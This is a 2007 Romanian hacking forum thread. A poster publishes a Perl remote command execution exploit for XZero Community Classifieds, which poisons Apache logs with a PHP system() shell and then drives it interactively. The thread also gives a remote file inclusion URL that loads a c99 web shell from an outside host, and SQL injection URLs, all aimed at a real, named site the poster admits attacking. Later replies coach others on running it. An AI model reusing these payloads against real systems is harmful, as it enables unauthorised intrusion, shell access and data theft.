kw3rln Posted December 27, 2007 Report Posted December 27, 2007 a incercat un prieten sa ia access la nud.ro asa ca am zis de ce nu sa intram pe server... am cautat pe site-urile de pe acelasi server cu nud.ro si am gasit http://www.diasporaromana.com .. softul era xzero..downloadat si am spus ca le si public daca tot am gasit bugurileoricum astea nu va intereseaza LFI -u.. sql injection..exploitul facut de mine... ! uitati RFI-ul:http://rstcenter.com/forum/xzero-community-classifieds-v4-95-11-rfi-t9582.rstLink RFI:http://www.diasporaromana.com/config.inc.php?path_escape=http://hdtv-il.com/c99.txt?#!/usr/bin/perl## XZero Community Classifieds <= v4.95.11 LFI & SQL Injection# linK : [url]http://www.xzeroscripts.com[/url]# download: [url]http://rapidshare.com/files/66809648/XZCl4.95.11.rar[/url]## (c)od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A [url]http://rstcenter.com[/url]## Local file inclusion in index.php: ## switch($xview)# {# [ ..... ]# case "page" : $page = "$_GET[pagename].php"; break;# [ ..... ]# }## include_once($page);# in common.inc.php line 40: $xview = $_GET['view'] ? $_GET['view'] : "main";## SQL Injection in post.php# line 511: $sql = "SELECT expireafter FROM $t_subcats WHERE subcatid = $_REQUEST[subcatid]";# ( And more but useless cuz admin password is in config.inc.php)# # LFI: [url]http://site.com/index.php?view=page&pagename=[/url][Local_FIle]%00# Example: [url]http://www.diasporaromana.com/index.php?view=page&pagename=tetete[/url]## SQL: [url]http://site.com/index.php?view=post&cityid=2?=en&catid=2&subcatid=[/url][SQL]# Example: http://www.diasporaromana.com/index.php?view=post&cityid=220?=en&catid=5&subcatid=18'##GREETZ TO ALL RST MEMBERZ# And now exploit for LFI#use IO::Socket;use LWP::Simple;@apache=("../../../../../var/log/httpd/access_log","../../../../../var/log/httpd/error_log","../apache/logs/error.log","../apache/logs/access.log","../../apache/logs/error.log","../../apache/logs/access.log","../../../apache/logs/error.log","../../../apache/logs/access.log","../../../../apache/logs/error.log","../../../../apache/logs/access.log","../../../../../apache/logs/error.log","../../../../../apache/logs/access.log","../logs/error.log","../logs/access.log","../../logs/error.log","../../logs/access.log","../../../logs/error.log","../../../logs/access.log","../../../../logs/error.log","../../../../logs/access.log","../../../../../logs/error.log","../../../../../logs/access.log","../../../../../etc/httpd/logs/access_log","../../../../../etc/httpd/logs/access.log","../../../../../etc/httpd/logs/error_log","../../../../../etc/httpd/logs/error.log","../../.. /../../var/www/logs/access_log","../../../../../var/www/logs/access.log","../../../../../usr/local/apache/logs/access_log","../../../../../usr/local/apache/logs/access.log","../../../../../var/log/apache/access_log","../../../../../var/log/apache/access.log","../../../../../var/log/access_log","../../../../../var/www/logs/error_log","../../../../../var/www/logs/error.log","../../../../../usr/local/apache/logs/error_log","../../../../../usr/local/apache/logs/error.log","../../../../../var/log/apache/error_log","../../../../../var/log/apache/error.log","../../../../../var/log/access_log","../../../../../var/log/error_log");print "[RST] XZero Community Classifieds <= v4.95.11 Remote Command Execution Exploit\n";print "[RST] need magic_quotes_gpc = off\n";print "[RST] c0ded by Kw3rLN from Romanian Security Team [ [url]http://rstcenter.com[/url] ] \n\n";if (@ARGV < 3){ print "[RST] Usage: xzero.pl [host] [path] [apache_path]\n\n"; print "[RST] Apache Path: \n"; $i = 0; while($apache[$i]) { print "[$i] $apache[$i]\n";$i++;} exit();}$host=$ARGV[0];$path=$ARGV[1];$apachepath=$ARGV[2];print "[RST] Injecting some code in log files...\n";$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n";print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";print $socket "User-Agent: ".$CODE."\r\n";print $socket "Host: ".$host."\r\n";print $socket "Connection: close\r\n\r\n";close($socket);print "[RST] Shell!! write q to exit !\n";print "[RST] IF not working try another apache path\n\n";print "[shell] ";$cmd = <STDIN>;while($cmd !~ "q") { $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n"; print $socket "GET ".$path."index.php?view=page&pagename=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n"; print $socket "Host: ".$host."\r\n"; print $socket "Accept: */*\r\n"; print $socket "Connection: close\r\n\n"; while ($raspuns = <$socket>) { print $raspuns; } print "[shell] "; $cmd = <STDIN>;} Quote
tw8 Posted December 27, 2007 Report Posted December 27, 2007 Good work.O sa incerc ceva, poate o sa am si eu ceva de prezentat de revelion :twisted: ... Quote
michee Posted December 28, 2007 Report Posted December 28, 2007 vere si de unde ti-ai dat tu seama ca softul e xzero? Quote
kw3rln Posted December 28, 2007 Author Report Posted December 28, 2007 linkl http://www.diasporaromana.com/index.php?view=selectcity&targetview=post l-am cautat pe google si am mai dat de site-uri care aveau index.php?view=selectcity&targetview=post asa ca celelelalte nu au sters copyrightu Quote
xZu Posted December 29, 2007 Report Posted December 29, 2007 frumosFelicitari kw3 si la mai multe exploituri facute de tine Quote
michee Posted December 30, 2007 Report Posted December 30, 2007 revin cu o intrebare ca-s prost si n-am facut LFI niciodata....deci scriptul trebuie rulata cam asa ceva, da?perl diaspora.pl www.diasporaromana.ro / 1unde ultimul numar e o cifra care reprezitna numarul de elemente din array-yl apache...nu? Si deci eu tre sa le incerc pe toate manual sa vad in care s-a injectat codul php???anyway eu obtin eroare asta: [RST] Injecting some code in log files...[RST] Could not connect to host.nush din ce motive.....nu ma pricep la perl, dar din ce-am vazut eu acolo ar trebui sa mearga.....la altii a mers? ce,cum?ps: de asemenea mie nu-mi iese LFI-ul folosind smecheria cu %00imi apare ceva de genul cannot include pagina.php\0.php . Daca las doarpagename=index, Adauga el extensia ".php" care e in sursa softului si merge....Dar de ce nu pot sa-l pacalesc folosind %00 cum am citit prin tutoriale? Quote
tw8 Posted January 1, 2008 Report Posted January 1, 2008 nu a testat nimeni exploitul asta?Scuze ca iti raspund abia acum la intrebarea de mai sus, dar nici nu am vazut-o.perl diaspora.pl www.diasporaromana.ro / 1unde ultimul numar e o cifra care reprezitna numarul de elemente din array-yl apache...nu? Si deci eu tre sa le incerc pe toate manual sa vad in care s-a injectat codul php???Nu. Tu trebuie sa gasesti path-ul logului si sa il introduci. Scriptul nu testeaza automat toate elementele vectorului, ci trebuie sa introduci log-ul manual. Vectorul e folosit doar pentru afisarea posibilelor locatii ale log-ului.ps: de asemenea mie nu-mi iese LFI-ul folosind smecheria cu %00Folosind exploit-ul pus de kwe, nu mai trebuie introdus "%00", pentru ca il adauga automat. Oricum, ar trebui sa mearga si daca il mai adaugi si to odata.Nu am testat exploit-ul, pentru ca nu mi-a trebuit inca. Oricum, o sa il testez si iti zic daca imi merge sau nu . Quote
kw3rln Posted January 1, 2008 Author Report Posted January 1, 2008 merge exploitul numa e mai complicat pana gasesti apache logu corectanyway exista RFi in acelasi soft: http://www.diasporaromana.com/config.inc.php?path_escape=http://hdtv-il.com/c99.txt? Quote
michee Posted January 1, 2008 Report Posted January 1, 2008 no problem tw8 ptr intarzierie.kw3rln stiu ca exista si RFI, dar eu voiam sa operez LFI-ul ca n-am mai facut.Deci eu ziceam asa......am incercat direct in browser LFI si voiam sa afisez una din paginile care le-am vazut in directorul curent(folosind RFI-ul)si cand adaugam la sfarsit %00 cum se obisnuieste nu functiona!Imi arata un warning php ca nu poate sa includa ceva de genul nume\00.php. Deci nu prea functiona null-ul adaugat.@kw3rln poti sa-mi arati un exemplu concrect ca nu-mi dau seama ce-mi scapa?Eu cand apelez scriptul tre sa-i dau la sfarsit un numar care-mi indica ce element din vector alege ca path,nu?Thanks! Quote
tw8 Posted January 1, 2008 Report Posted January 1, 2008 Eu cand apelez scriptul tre sa-i dau la sfarsit un numar care-mi indica ce element din vector alege ca path,nu?Nu. Trebuie sa bagi path-ul, nu numarul acestuia in vector. Quote
kw3rln Posted January 1, 2008 Author Report Posted January 1, 2008 @kw3rln poti sa-mi arati un exemplu concrect ca nu-mi dau seama ce-mi scapa?Eu cand apelez scriptul tre sa-i dau la sfarsit un numar care-mi indica ce element din vector alege ca path,nu?Thanks!dala exploit nu m-am kinuit ff mult niciodata.. puteam face sa injecteze codu malicios in toate pathurile si apoi sa verifice el singur fiecare path in parte sa nu mai fie dat de useranyway exemplu?am facut un fisier in dirul adpics/kw3.php si contine "local file inclusion ! TESTING"http://www.diasporaromana.com/index.php?view=page&pagename=adpics/kw3daca dam http://www.diasporaromana.com/index.php?view=page&pagename=adpics/kw3.phpva incercat sa ne includa adpics/kw3.php.php si nu merge asa ca incercam metoda cu Null Byte %00http://www.diasporaromana.com/index.php?view=page&pagename=adpics/kw3.php%00Failed opening 'adpics/kw3.php\0.php' for inclusionin cazul acestui site nu merge deoarece magic_quotes_gpc ii on Quote
tw8 Posted January 1, 2008 Report Posted January 1, 2008 M-am uitat mai atent peste cod, si am observat asta:print $socket "GET ".$path."index.php?view=page&pagename=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";Concluzia: da, trebuie sa introduci numarul corespunzator path-ului (cu toate ca a confirmat si kwe asta, am vrut sa imi rectific greseala ). Quote
michee Posted January 1, 2008 Report Posted January 1, 2008 da kw3 de la get_magic_quotes on era aia, nu mi-a picat fisa!Bv tie!ps: deci daca ma gandesc eu bine.....nu prea poti sa incluzi unul din logurile alea apache avand in vedere ca nu poti sa scoti extensia aia .php,este? Quote